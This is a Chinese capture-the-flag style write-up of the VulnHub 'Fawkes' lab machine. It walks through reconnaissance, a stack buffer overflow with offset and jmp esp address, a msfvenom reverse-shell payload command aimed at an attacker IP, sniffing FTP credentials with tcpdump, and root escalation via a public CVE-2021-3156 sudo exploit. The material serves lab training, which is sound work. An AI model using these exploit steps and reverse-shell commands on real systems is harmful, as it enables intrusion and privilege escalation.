vulnhub靶场【哈利波特】三部曲之Fawkes

news2024/12/27 10:47:35

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等
这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。
参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

在这里插入图片描述

信息收集

端口发现

使用nmap简单扫描一下端口

在这里插入图片描述

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

在这里插入图片描述

很是罕见的什么都没有扫到,访问网站进行查看

在这里插入图片描述

啧,电影海报啊,这里下载图片,看有无隐藏信息

在这里插入图片描述

测试9898端口

虽是接口有返回信息等,但是毫无用处

在这里插入图片描述

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

在这里插入图片描述

查看文件类型,是可执行文件

在这里插入图片描述

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

在这里插入图片描述

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

在这里插入图片描述

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo randomize_va_space

在这里插入图片描述

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

在这里插入图片描述

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

在这里插入图片描述

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

在这里插入图片描述

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

在这里插入图片描述

缓冲区溢出

可以看到,这里被覆盖了

在这里插入图片描述

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

msf-pattern_create -l 400

在这里插入图片描述

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

msf-pattern_offset -l 400 -q 0x64413764

在这里插入图片描述

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

在这里插入图片描述

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

在这里插入图片描述

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

在这里插入图片描述

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

在这里插入图片描述

点击find,记下jmp esp的内存地址,0x08049d55

在这里插入图片描述

jmp esp是一条汇编指令。jmp是 “jump” 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

在这里插入图片描述

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

在这里插入图片描述

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

在这里插入图片描述

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

在这里插入图片描述

那么修改payload为靶机地址和端口,然后测试

在这里插入图片描述

反弹成功,获取一个shell

在这里插入图片描述

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

在这里插入图片描述

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

在这里插入图片描述

使用find查找具有SUID权限的,有sudo并且可以执行任意

在这里插入图片描述

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

在这里插入图片描述

这里说,“我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户”

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

在这里插入图片描述

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

tcpdump -i eth0 port 21

在这里插入图片描述

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

在这里插入图片描述

寻找SUID,发现找到sudo,但是不能使用

在这里插入图片描述

收集信息

在这里插入图片描述

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

在这里插入图片描述

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

在这里插入图片描述

最终提权成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2251500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mac下安装Ollama + Open WebUI + Llama3.1

本文介绍mac下安装Ollama Open WebUI Llama3.1 8b具体步骤。 目录 推荐配置Ollama Open WebUI Llama3.1简介安装Ollama安装Open WebUI 推荐配置 m1以上芯片,16g内存,20g以上硬盘空间 Ollama Open WebUI Llama3.1简介 Ollama: 下载,管理…

Android 图形系统之四:Choreographer

Choreographer 是 Android 系统中负责帧同步的核心组件,它协调输入事件、动画和绘制任务,以确保界面以固定频率(通常是每 16ms,一帧)流畅渲染。通过管理 VSYNC 信号和调度任务,Choreographer 是实现流畅 UI…

如何构建一个可扩展、全球可访问的 GenAI 架构?

你有没有尝试过使用人工智能生成图像? 如果你尝试过,你就会知道,一张好的图像的关键在于一个详细具体的提示。 我不擅长这种详细的视觉提示,所以我依赖大型语言模型来生成详细的提示,然后使用这些提示来生成出色的图像…

ceph手动部署

ceph手动部署 一、 节点规划 主机名IP地址角色ceph01.example.com172.18.0.10/24mon、mgr、osd、mds、rgwceph02.example.com172.18.0.20/24mon、mgr、osd、mds、rgwceph03.example.com172.18.0.30/24mon、mgr、osd、mds、rgw 操作系统版本: Rocky Linux release …

【iOS】多线程基础

【iOS】多线程基础 文章目录 【iOS】多线程基础前言进程与线程进程进程的状态进程的一个控制结构进程的上下文切换 线程为什么要用线程什么是线程线程和进程的关系线程的上下文切换 线程和进程的优缺点 小结 前言 笔者由于对于GCD不是很了解,导致了项目中网络请求哪…

ArraList和LinkedList区别

文章目录 一、结构不同二、访问速度三、插入和删除操作的不同1、决定效率有两个因素:数据量和位置。2、普遍说法是“LinkedList添加删除快”,这里是有前提条件的 四、内存占用情况五、使用场景六、总结 一、结构不同 LinkedList:它基于双向链…

芯片测试-RF中的S参数,return loss, VSWR,反射系数,插入损耗,隔离度等

RF中的S参数,return loss, VSWR,反射系数,插入损耗,隔离度 💢S参数💢💢S11与return loss,VSWR,反射系数💢💢S21,插入损耗和增益&#…

arkTS:持久化储存UI状态的基本用法(PersistentStorage)

arkUI:持久化储存UI状态的基本用法(PersistentStorage) 1 主要内容说明2 例子2.1 持久化储存UI状态的基本用法(PersistentStorage)2.1.1 源码1的相关说明2.1.1.1 数据存储2.1.1.2 数据读取2.1.1.3 动态更新2.1.1.4 显示…

《Django 5 By Example》阅读笔记:p455-p492

《Django 5 By Example》学习第 16 天,p455-p492 总结,总计 38 页。 一、技术总结 1.myshop (1)打折功能 使用折扣码实现,但是折扣码是手动生成的,感觉实际业务中应该不是这样的。 (2)推荐功能 使用 Redis 做缓存&#xff0…

深入浅出:开发者如何快速上手Web3生态系统

Web3作为互联网的未来发展方向,正在逐步改变传统互联网架构,推动去中心化技术的发展。对于开发者而言,Web3代表着一个充满机遇与挑战的新领域,学习和掌握Web3的基本技术和工具,将为未来的项目开发提供强大的支持。那么…

otter 高可用策略

关于otter高可用在设计之初,提供了这样几个基本的需求: 1.网络不可靠,异地机房尤为明显. 2.manager/node的jvm不可靠,需要考虑异常crash情况 3.node的jvm不可靠,需要考虑异常crash的情况 4.数据库不可靠,需…

C底层 函数栈帧

文章目录 一,什么是寄存器 二,栈和帧 前言 我们在学习c语言程序的时候,是不是有很多的疑问,如 1,为什么形参不可以改变实参 2,为什么我们编写程序的时候会出现烫烫烫......这个乱码 3,那些局…

力扣1382:将二叉搜索树便平衡

给你一棵二叉搜索树,请你返回一棵 平衡后 的二叉搜索树,新生成的树应该与原来的树有着相同的节点值。如果有多种构造方法,请你返回任意一种。 如果一棵二叉搜索树中,每个节点的两棵子树高度差不超过 1 ,我们就称这棵二…

亚马逊自研大语言模型 Olympus 即将亮相,或将在 LLM 竞赛中掀起新波澜

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

指针与引用错题汇总

int *p[3]; // 定义一个包含 3 个指向 int 的指针的数组int a 10, b 20, c 30; p[0] &a; // p[0] 指向 a p[1] &b; // p[1] 指向 b p[2] &c; // p[2] 指向 c // 访问指针所指向的值 printf("%d %d %d\n", *p[0], *p[1], *p[2]); // 输出: 10 20 30…

vscode ctrl+/注释不了css

方式一.全部禁用插件排查问题. 方式二.打开首选项的json文件,注释掉setting.json,排查是哪一行配置有问题. 我的最终问题:需要将 "*.vue": "vue",改成"*.vue": "html", "files.associations": { // "*.vue": &qu…

医疗知识图谱的问答系统详解

一、项目介绍 该项目的数据来自垂直类医疗网站寻医问药,使用爬虫脚本data_spider.py,以结构化数据为主,构建了以疾病为中心的医疗知识图谱,实体规模4.4万,实体关系规模30万。schema的设计根据所采集的结构化数据生成&…

上传镜像docker hub登不上和docker desktop的etx4.vhdx占用空间很大等解决办法

平时使用docker一般都在Linux服务器上,但这次需要将镜像上传到docker hub上,但是服务器上一直无法登录本人的账号,(这里的问题应该docker 网络配置中没有开代理的问题,因服务器上有其他用户使用,不可能直接…

大型复杂项目管理怎么结合传统与敏捷

大型复杂项目管理需要综合运用传统的瀑布模型与敏捷方法,两者各具优势,可以在不同的项目阶段和需求下发挥最大效能。首先,在项目的初期阶段,传统方法的详细规划和需求分析能够帮助确保项目方向正确、资源充足;敏捷方法…

PVE中VLAN的设置要点

使用这个拓扑进行连接无法直接访问PVE PVE 设置如下: 核心重点:PVE 的 vmbr0 接口直接绑定了 enp2s0,这会导致 VLAN 流量无法正确处理,因为 PVE 没有专门为 VLAN 3 配置接口。 1.vmbr0 和 vmbr0.3 都是绑定在物理接口 enp2s0 上&…